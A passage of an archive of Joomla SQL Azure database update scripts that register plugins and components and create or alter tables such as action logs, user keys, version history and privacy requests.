UNION ALL
SELECT 448, 'plg_twofactorauth_totp', 'plugin', 'totp', 'twofactorauth', 0, 0, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 449, 'plg_authentication_cookie', 'plugin', 'cookie', 'authentication', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 450, 'plg_twofactorauth_yubikey', 'plugin', 'yubikey', 'twofactorauth', 0, 0, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;

INSERT INTO [#__menu] ([menutype], [title], [alias], [note], [path], [link], [type], [published], [parent_id], [level], [component_id], [checked_out], [checked_out_time], [browserNav], [access], [img], [template_style_id], [params], [lft], [rgt], [home], [language], [client_id])
SELECT 'menu', 'com_postinstall', 'Post-installation messages', '', 'Post-installation messages', 'index.php?option=com_postinstall', 'component', 0, 1, 1, 32, 0, '1900-01-01 00:00:00', 0, 1, 'class:postinstall', 0, '', 45, 46, 0, '*', 1;

ALTER TABLE [#__modules] ADD [asset_id] [bigint] NOT NULL DEFAULT 0;

CREATE TABLE [#__postinstall_messages] (
  [postinstall_message_id] [bigint] IDENTITY(1,1) NOT NULL,
  [extension_id] [bigint] NOT NULL DEFAULT 700,
  [title_key] [nvarchar](255) NOT NULL DEFAULT '',
  [description_key] [nvarchar](255) NOT NULL DEFAULT '',
  [action_key] [nvarchar](255) NOT NULL DEFAULT '',
  [language_extension] [nvarchar](255) NOT NULL DEFAULT 'com_postinstall',
  [language_client_id] [int] NOT NULL DEFAULT 1,
  [type] [nvarchar](10) NOT NULL DEFAULT 'link',
  [action_file] [nvarchar](255) DEFAULT '',
  [action] [nvarchar](255) DEFAULT '',
  [condition_file] [nvarchar](255) DEFAULT NULL,
  [condition_method] [nvarchar](255) DEFAULT NULL,
  [version_introduced] [nvarchar](50) NOT NULL DEFAULT '3.2.0',
  [enabled] [int] NOT NULL DEFAULT 1,
  CONSTRAINT [PK_#__postinstall_message_id] PRIMARY KEY CLUSTERED
    (
      [postinstall_message_id] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_TITLE', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_BODY', 'PLG_TWOFACTORAUTH_TOTP_POSTINSTALL_ACTION', 'plg_twofactorauth_totp', 1, 'action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_action', 'site://plugins/twofactorauth/totp/postinstall/actions.php', 'twofactorauth_postinstall_condition', '3.2.0', 1
UNION ALL
SELECT 700, 'COM_CPANEL_MSG_EACCELERATOR_TITLE', 'COM_CPANEL_MSG_EACCELERATOR_BODY', 'COM_CPANEL_MSG_EACCELERATOR_BUTTON', 'com_cpanel', 1, 'action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_action', 'admin://components/com_admin/postinstall/eaccelerator.php', 'admin_postinstall_eaccelerator_condition', '3.2.0', 1;

CREATE TABLE [#__ucm_history] (
  [version_id] [bigint] IDENTITY(1,1) NOT NULL,
  [ucm_item_id] [bigint] NOT NULL,
  [ucm_type_id] [bigint] NOT NULL,
  [version_note] [nvarchar](255) NOT NULL DEFAULT '',
  [save_date] [datetime] NOT NULL DEFAULT '1900-01-01T00:00:00.000',
  [editor_user_id] [bigint] NOT NULL DEFAULT 0,
  [character_count] [bigint] NOT NULL DEFAULT 0,
  [sha1_hash] [nvarchar](50) NOT NULL DEFAULT '',
  [version_data] [nvarchar](max) NOT NULL,
  [keep_forever] [smallint] NOT NULL DEFAULT 0,
  CONSTRAINT [PK_#__ucm_history_version_id] PRIMARY KEY CLUSTERED
    (
      [version_id] ASC
    )WITH (PAD_INDEX= OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY];

CREATE NONCLUSTERED INDEX [idx_ucm_item_id] ON [#__ucm_history]
(
  [ucm_type_id] ASC,
  [ucm_item_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

CREATE NONCLUSTERED INDEX [idx_save_date] ON [#__ucm_history]
(
  [save_date] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

ALTER TABLE [#__users] ADD [otpKey] [nvarchar](1000) NOT NULL DEFAULT '';

ALTER TABLE [#__users] ADD [otep] [nvarchar](1000) NOT NULL DEFAULT '';

CREATE TABLE [#__user_keys] (
  [id] [bigint] IDENTITY(1,1) NOT NULL,
  [user_id] [nvarchar](255) NOT NULL,
  [token] [nvarchar](255) NOT NULL,
  [series] [nvarchar](255) NOT NULL,
  [invalid] [smallint] NOT NULL,
  [time] [nvarchar](200) NOT NULL,
  [uastring] [nvarchar](255) NOT NULL,
  CONSTRAINT [PK_#__user_keys_id] PRIMARY KEY CLUSTERED
    (
      [id] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],
  CONSTRAINT [#__user_keys$series] UNIQUE NONCLUSTERED
    (
      [series] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],
  CONSTRAINT [#__user_keys$series_2] UNIQUE NONCLUSTERED
    (
      [series] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY],
  CONSTRAINT [#__user_keys$series_3] UNIQUE NONCLUSTERED
    (
      [series] ASC
    )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY];

CREATE NONCLUSTERED INDEX [user_id] ON [#__user_keys]
(
  [user_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

/* Queries below sync the schema to MySQL where able without causing errors */

ALTER TABLE [#__contentitem_tag_map] ADD [type_id] [int] NOT NULL;

CREATE NONCLUSTERED INDEX [idx_type] ON [#__contentitem_tag_map]
(
  [type_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);

ALTER TABLE [#__newsfeeds] ALTER COLUMN [alias] [nvarchar](255) NOT NULL;

ALTER TABLE [#__overrider] ALTER COLUMN [constant] [nvarchar](255) NOT NULL;
ALTER TABLE [#__overrider] ALTER COLUMN [string] [nvarchar](max) NOT NULL;
ALTER TABLE [#__overrider] ALTER COLUMN [file] [nvarchar](255) NOT NULL;

ALTER TABLE [#__session] DROP COLUMN [usertype];

ALTER TABLE [#__ucm_content] ALTER COLUMN [core_metadata] [nvarchar](2048) NOT NULL;

CREATE PROCEDURE "#removeDefault"
(
	@table NVARCHAR(100),
	@column NVARCHAR(100)
)
AS
BEGIN
	DECLARE @constraintName AS nvarchar(100)
	DECLARE @constraintQuery AS nvarchar(1000)
	SELECT @constraintName = name FROM sys.default_constraints
		WHERE parent_object_id = object_id(@table)
		AND parent_column_id = columnproperty(object_id(@table), @column, 'ColumnId')
	SET @constraintQuery = 'ALTER TABLE [' + @table + '] DROP CONSTRAINT [' + @constraintName + ']'
	EXECUTE sp_executesql @constraintQuery
END;

EXECUTE "#removeDefault" "#__ucm_content", 'core_content_item_id';
EXECUTE "#removeDefault" "#__ucm_content", 'asset_id';
EXECUTE "#removeDefault" "#__ucm_content", 'core_type_id';

EXECUTE "#removeDefault" "#__updates", 'categoryid';
ALTER TABLE [#__updates] DROP COLUMN [categoryid];

ALTER TABLE [#__updates] ALTER COLUMN [infourl] [nvarchar](max) NOT NULL;

/* Update bad params for two cpanel modules */

UPDATE [#__modules] SET [params] = REPLACE([params], '"bootstrap_size":"1"', '"bootstrap_size":"0"') WHERE [id] IN (3,4);
com_admin/sql/updates/sqlazure/3.7.4-2017-07-05.sql000060400000000134152455305270015035 0ustar00DELETE FROM [#__postinstall_messages] WHERE [title_key] = 'COM_CPANEL_MSG_PHPVERSION_TITLE';com_admin/sql/updates/sqlazure/3.9.0-2018-06-17.sql000060400000000720152455305270015037 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(489, 0, 'plg_user_terms', 'plugin', 'terms', 'user', 0, 0, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;
com_admin/sql/updates/sqlazure/3.0.1.sql000060400000000072152455305270013767 0ustar00# Placeholder file for database changes for version 3.0.1
com_admin/sql/updates/sqlazure/3.3.0-2014-04-02.sql000060400000000752152455305270015022 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 451, 'plg_search_tags', 'plugin', 'tags', 'search', 0, 0, 1, 0, '', '{"search_limit":"50","show_tagged_items":"1"}', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.7.0-2017-01-17.sql000060400000011410152455305270015025 0ustar00-- Sync menutype for admin menu and set client_id correct
-- Note: This change had to be modified with Joomla 3.7.3 because the
-- original version made site menus disappear if there were menu types
-- "main" or "menu" defined for the site.

-- Step 1: If there is any user-defined menu and menu type "main" for the site
-- (client_id = 0), then change the menu type for the menu, any module and the
-- menu type to something very likely not being used yet and just within the
-- max. length of 24 characters.
UPDATE [#__menu]
   SET [menutype] = 'main_is_reserved_133C585'
 WHERE [client_id] = 0
   AND [menutype] = 'main'
   AND (SELECT COUNT([id]) FROM [#__menu_types] WHERE [client_id] = 0 AND [menutype] = 'main') > 0;

UPDATE [#__modules]
   SET [params] = REPLACE([params],'"menutype":"main"','"menutype":"main_is_reserved_133C585"')
 WHERE [client_id] = 0
   AND (SELECT COUNT([id]) FROM [#__menu_types] WHERE [client_id] = 0 AND [menutype] = 'main') > 0;

UPDATE [#__menu_types]
   SET [menutype] = 'main_is_reserved_133C585'
 WHERE [client_id] = 0 
   AND [menutype] = 'main';

-- Step 2: What remains now are the main menu items, possibly with wrong
-- client_id if there was nothing hit by step 1 because there was no record in
-- the menu types table with client_id = 0.
UPDATE [#__menu]
   SET [client_id] = 1
 WHERE [menutype] = 'main';

-- Step 3: If we have menu items for the admin using menutype = "menu" and
-- having correct client_id = 1, we can be sure they belong to the admin menu
-- and so rename the menutype.
UPDATE [#__menu]
   SET [menutype] = 'main'
 WHERE [client_id] = 1 
   AND [menutype] = 'menu';

-- Step 4: If there is no user-defined menu type "menu" for the site, we can
-- assume that any menu items for that menu type belong to the admin.
-- Fix the client_id for those as it was done with the original version of this
-- schema update script here.
UPDATE [#__menu]
   SET [menutype] = 'main',
       [client_id] = 1
 WHERE [menutype] = 'menu'
   AND (SELECT COUNT([id]) FROM [#__menu_types] WHERE [client_id] = 0 AND [menutype] = 'menu') > 0;

-- Step 5: For the standard admin menu items of menutype "main" there is no record
-- in the menutype table on a clean Joomla installation. If there is one, it is a
-- mistake and it should be deleted. This is also the case with menu type "menu"
-- for the admin, for which we changed the menutype of the menu items in step 3.
DELETE FROM [#__menu_types]
 WHERE [client_id] = 1
   AND [menutype] IN ('main', 'menu');

-- End sync menutype for admin menu and set client_id correct

SET IDENTITY_INSERT #__extensions  ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 462, 'plg_fields_calendar', 'plugin', 'calendar', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 463, 'plg_fields_checkboxes', 'plugin', 'checkboxes', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 464, 'plg_fields_color', 'plugin', 'color', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 465, 'plg_fields_editor', 'plugin', 'editor', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 466, 'plg_fields_imagelist', 'plugin', 'imagelist', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 467, 'plg_fields_integer', 'plugin', 'integer', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 468, 'plg_fields_list', 'plugin', 'list', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 469, 'plg_fields_media', 'plugin', 'media', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 470, 'plg_fields_radio', 'plugin', 'radio', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 471, 'plg_fields_sql', 'plugin', 'sql', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 472, 'plg_fields_text', 'plugin', 'text', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 473, 'plg_fields_textarea', 'plugin', 'textarea', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 474, 'plg_fields_url', 'plugin', 'url', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 475, 'plg_fields_user', 'plugin', 'user', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0
UNION ALL
SELECT 476, 'plg_fields_usergrouplist', 'plugin', 'usergrouplist', 'fields', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT #__extensions  OFF;

com_admin/sql/updates/sqlazure/2.5.4-2012-03-18.sql000060400000002376152455305270015037 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 28, 'com_joomlaupdate', 'component', 'com_joomlaupdate', '', 1, 1, 0, 1, '{"legacy":false,"name":"com_joomlaupdate","type":"component","creationDate":"February 2012","author":"Joomla! Project","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"2.5.2","description":"COM_JOOMLAUPDATE_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0;

SET IDENTITY_INSERT [#__extensions] OFF;

INSERT INTO [#__menu] ([menutype], [title], [alias], [note], [path], [link], [type], [published], [parent_id], [level], [component_id], [ordering], [checked_out], [checked_out_time], [browserNav], [access], [img], [template_style_id], [params], [lft], [rgt], [home], [language], [client_id])
SELECT 'menu', 'com_joomlaupdate', 'Joomla! Update', '', 'Joomla! Update', 'index.php?option=com_joomlaupdate', 'component', 0, 1, 1, 28, 0, 0, '1900-01-01 00:00:00', 0, 0, 'class:joomlaupdate', 0, '', 41, 42, 0, '*', 1;
com_admin/sql/updates/sqlazure/3.4.0-2014-10-20.sql000060400000000070152455305270015011 0ustar00DELETE FROM [#__extensions] WHERE [extension_id] = 100;
com_admin/sql/updates/sqlazure/3.5.0-2016-03-01.sql000060400000001302152455305270015014 0ustar00ALTER TABLE [#__redirect_links] DROP CONSTRAINT [#__redirect_links$idx_link_old];
ALTER TABLE [#__redirect_links] ALTER COLUMN [old_url] [nvarchar](2048) NOT NULL;

--
-- The following statement had to be modified for 3.6.0 by removing the
-- NOT NULL, which was wrong because not consistent with new install.
-- See also 3.6.0-2016-04-06.sql for updating 3.5.0 or 3.5.1
--
ALTER TABLE [#__redirect_links] ALTER COLUMN [new_url] [nvarchar](2048);

ALTER TABLE [#__redirect_links] ALTER COLUMN [referer] [nvarchar](2048) NOT NULL;
CREATE NONCLUSTERED INDEX [idx_old_url] ON [#__redirect_links]
(
	[old_url] ASC
)WITH (STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
com_admin/sql/updates/sqlazure/3.4.0-2014-12-03.sql000060400000000244152455305270015017 0ustar00UPDATE [#__extensions] SET [protected] = '0' WHERE [name] = 'plg_editors-xtd_article' AND [type] = 'plugin' AND [element] = 'article' AND [folder] = 'editors-xtd';
com_admin/sql/updates/sqlazure/3.2.2-2014-01-08.sql000060400000000705152455305270015024 0ustar00SET IDENTITY_INSERT [#__extensions] ON;

INSERT INTO [#__extensions] ([extension_id], [name], [type], [element], [folder], [client_id], [enabled], [access], [protected], [manifest_cache], [params], [custom_data], [system_data], [checked_out], [checked_out_time], [ordering], [state])
SELECT 403, 'plg_content_contact', 'plugin', 'contact', 'content', 0, 1, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 1, 0;

SET IDENTITY_INSERT [#__extensions] OFF;
com_admin/sql/updates/sqlazure/3.7.0-2016-09-29.sql000060400000000776152455305270015054 0ustar00INSERT INTO [#__postinstall_messages] ([extension_id], [title_key], [description_key], [action_key], [language_extension], [language_client_id], [type], [action_file], [action], [condition_file], [condition_method], [version_introduced], [enabled])
SELECT 700, 'COM_CPANEL_MSG_JOOMLA40_PRE_CHECKS_TITLE', 'COM_CPANEL_MSG_JOOMLA40_PRE_CHECKS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/joomla40checks.php', 'admin_postinstall_joomla40checks_condition', '3.7.0', 1;

com_admin/sql/updates/sqlazure/3.9.0-2018-05-05.sql000060400000011665152455305270015045 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(36, 0, 'com_actionlogs', 'component', 'com_actionlogs', '', 1, 1, 1, 1, '', '{"ip_logging":0,"csv_delimiter":",","loggable_extensions":["com_banners","com_cache","com_categories","com_config","com_contact","com_content","com_installer","com_media","com_menus","com_messages","com_modules","com_newsfeeds","com_plugins","com_redirect","com_tags","com_templates","com_users"]}', '', '', 0, '1900-01-01 00:00:00', 0, 0),
(483, 0, 'plg_system_actionlogs', 'plugin', 'actionlogs', 'system', 0, 0, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0),
(484, 0, 'plg_actionlog_joomla', 'plugin', 'joomla', 'actionlog', 0, 1, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;

CREATE TABLE "#__action_logs" (
	"id" "int" IDENTITY(1,1) NOT NULL,
	"message_language_key" "nvarchar"(255) NOT NULL DEFAULT '',
	"message" "nvarchar"(max) NOT NULL DEFAULT '',
	"log_date" "datetime" NOT NULL DEFAULT '1900-01-01 00:00:00',
	"extension" "nvarchar"(255) NOT NULL DEFAULT '',
	"user_id" "bigint" NOT NULL DEFAULT 0,
	"item_id" "bigint" NOT NULL DEFAULT 0,
	"ip_address" "nvarchar"(40) NOT NULL DEFAULT '0.0.0.0',
	CONSTRAINT "PK_#__action_logs_id" PRIMARY KEY CLUSTERED
 (
 	"id" ASC
 )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
 ) ON [PRIMARY];

CREATE TABLE "#__action_logs_extensions" (
	"id" "int" IDENTITY(1,1) NOT NULL,
	"extension" "nvarchar"(255) NOT NULL DEFAULT '',
	CONSTRAINT "PK_#__action_logs_extensions_id" PRIMARY KEY CLUSTERED
 (
	"id" ASC
 )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
 ) ON [PRIMARY];

SET IDENTITY_INSERT "#__action_logs_extensions" ON;

INSERT INTO "#__action_logs_extensions" ("id", "extension") VALUES
(1, 'com_banners'),
(2, 'com_cache'),
(3, 'com_categories'),
(4, 'com_config'),
(5, 'com_contact'),
(6, 'com_content'),
(7, 'com_installer'),
(8, 'com_media'),
(9, 'com_menus'),
(10, 'com_messages'),
(11, 'com_modules'),
(12, 'com_newsfeeds'),
(13, 'com_plugins'),
(14, 'com_redirect'),
(15, 'com_tags'),
(16, 'com_templates'),
(17, 'com_users');

SET IDENTITY_INSERT "#__action_logs_extensions" OFF;

CREATE TABLE "#__action_log_config" (
	"id" "int" IDENTITY(1,1) NOT NULL,
	"type_title" "nvarchar"(255) NOT NULL DEFAULT '',
	"type_alias" "nvarchar"(255) NOT NULL DEFAULT '',
	"id_holder" "nvarchar"(255) NULL,
	"title_holder" "nvarchar"(255) NULL,
	"table_name" "nvarchar"(255) NULL,
	"text_prefix" "nvarchar"(255) NULL,
	CONSTRAINT "PK_#__action_log_config_id" PRIMARY KEY CLUSTERED
 (
 	"id" ASC
 )WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
 ) ON [PRIMARY];

SET IDENTITY_INSERT "#__action_log_config" ON;

INSERT INTO "#__action_log_config" ("id", "type_title", "type_alias", "id_holder", "title_holder", "table_name", "text_prefix") VALUES
(1, 'article', 'com_content.article', 'id' ,'title' , '#__content', 'PLG_ACTIONLOG_JOOMLA'),
(2, 'article', 'com_content.form', 'id', 'title' , '#__content', 'PLG_ACTIONLOG_JOOMLA'),
(3, 'banner', 'com_banners.banner', 'id' ,'name' , '#__banners', 'PLG_ACTIONLOG_JOOMLA'),
(4, 'user_note', 'com_users.note', 'id', 'subject' ,'#__user_notes', 'PLG_ACTIONLOG_JOOMLA'),
(5, 'media', 'com_media.file', '' , 'name' , '',  'PLG_ACTIONLOG_JOOMLA'),
(6, 'category', 'com_categories.category', 'id' , 'title' , '#__categories', 'PLG_ACTIONLOG_JOOMLA'),
(7, 'menu', 'com_menus.menu', 'id' ,'title' , '#__menu_types', 'PLG_ACTIONLOG_JOOMLA'),
(8, 'menu_item', 'com_menus.item', 'id' , 'title' , '#__menu', 'PLG_ACTIONLOG_JOOMLA'),
(9, 'newsfeed', 'com_newsfeeds.newsfeed', 'id' ,'name' , '#__newsfeeds', 'PLG_ACTIONLOG_JOOMLA'),
(10, 'link', 'com_redirect.link', 'id', 'old_url' , '#__redirect_links', 'PLG_ACTIONLOG_JOOMLA'),
(11, 'tag', 'com_tags.tag', 'id', 'title' , '#__tags', 'PLG_ACTIONLOG_JOOMLA'),
(12, 'style', 'com_templates.style', 'id' , 'title' , '#__template_styles', 'PLG_ACTIONLOG_JOOMLA'),
(13, 'plugin', 'com_plugins.plugin', 'extension_id' , 'name' , '#__extensions', 'PLG_ACTIONLOG_JOOMLA'),
(14, 'component_config', 'com_config.component', 'extension_id' , 'name', '', 'PLG_ACTIONLOG_JOOMLA'),
(15, 'contact', 'com_contact.contact', 'id', 'name', '#__contact_details', 'PLG_ACTIONLOG_JOOMLA'),
(16, 'module', 'com_modules.module', 'id' ,'title', '#__modules', 'PLG_ACTIONLOG_JOOMLA'),
(17, 'access_level', 'com_users.level', 'id' , 'title', '#__viewlevels', 'PLG_ACTIONLOG_JOOMLA'),
(18, 'banner_client', 'com_banners.client', 'id', 'name', '#__banner_clients', 'PLG_ACTIONLOG_JOOMLA');

SET IDENTITY_INSERT "#__action_log_config" OFF;
com_admin/sql/updates/sqlazure/3.8.0-2017-07-31.sql000060400000001003152455305270015025 0ustar00INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state")
VALUES
  (318, 0, 'mod_sampledata', 'module', 'mod_sampledata', '', 1, 0, 1, 0, '', '{}', '', '', 0, '1900-01-01 00:00:00', 0, 0),
  (479, 0, 'plg_sampledata_blog', 'plugin', 'blog', 'sampledata', 0, 0, 1, 0, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0);
com_admin/sql/updates/sqlazure/3.7.0-2017-01-08.sql000060400000003374152455305270015037 0ustar00-- Normalize ucm_content_table default values.
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_type_alias];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_body];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_params];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_metadata];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_language];

ALTER TABLE [#__ucm_content] DROP CONSTRAINT [#__ucm_content_core_content_id$idx_type_alias_item_id];
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_content_item_id] [bigint] NOT NULL;
ALTER TABLE [#__ucm_content] ADD CONSTRAINT [#__ucm_content_core_content_id$idx_type_alias_item_id] UNIQUE NONCLUSTERED
(
	[core_type_alias] ASC,
	[core_content_item_id] ASC
) WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY];
ALTER TABLE [#__ucm_content] ADD DEFAULT (0) FOR [core_content_item_id];

ALTER TABLE [#__ucm_content] ALTER COLUMN [asset_id] [bigint] NOT NULL;
ALTER TABLE [#__ucm_content] ADD DEFAULT (0) FOR [asset_id];

ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_images];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_urls];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_metakey];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_metadesc];
ALTER TABLE [#__ucm_content] ADD DEFAULT ('') FOR [core_xreference];

DROP INDEX [idx_core_type_id] ON [#__ucm_content];
ALTER TABLE [#__ucm_content] ALTER COLUMN [core_type_id] [bigint] NOT NULL;
CREATE NONCLUSTERED INDEX [idx_core_type_id] ON [#__ucm_content]
(
	[core_type_id] ASC
)WITH (STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, DROP_EXISTING = OFF, ONLINE = OFF);
ALTER TABLE [#__ucm_content] ADD DEFAULT (0) FOR [core_type_id];
com_admin/sql/updates/sqlazure/3.8.9-2018-06-19.sql000060400000000153152455305270015051 0ustar00-- Enable Sample Data Module.
UPDATE [#__extensions] SET [enabled] = '1' WHERE [name] = 'mod_sampledata';

com_admin/sql/updates/sqlazure/3.9.0-2018-05-02.sql000060400000002557152455305270015042 0ustar00SET IDENTITY_INSERT "#__extensions" ON;

INSERT INTO "#__extensions" ("extension_id", "package_id", "name", "type", "element", "folder", "client_id", "enabled", "access", "protected", "manifest_cache", "params", "custom_data", "system_data", "checked_out", "checked_out_time", "ordering", "state") VALUES
(35, 0, 'com_privacy', 'component', 'com_privacy', '', 1, 1, 1, 1, '', '', '', '', 0, '1900-01-01 00:00:00', 0, 0);

SET IDENTITY_INSERT "#__extensions" OFF;

CREATE TABLE "#__privacy_requests" (
  "id" int IDENTITY(1,1) NOT NULL,
  "email" nvarchar(100) NOT NULL DEFAULT '',
  "requested_at" datetime2(0) NOT NULL DEFAULT '1900-01-01 00:00:00',
  "status" smallint NOT NULL,
  "request_type" nvarchar(25) NOT NULL DEFAULT '',
  "confirm_token" nvarchar(100) NOT NULL DEFAULT '',
  "confirm_token_created_at" datetime2(0) NOT NULL DEFAULT '1900-01-01 00:00:00',
  "checked_out" bigint NOT NULL DEFAULT 0,
  "checked_out_time" datetime2(0) NOT NULL DEFAULT '1900-01-01 00:00:00',
CONSTRAINT "PK_#__privacy_requests_id" PRIMARY KEY CLUSTERED(
  "id" ASC)
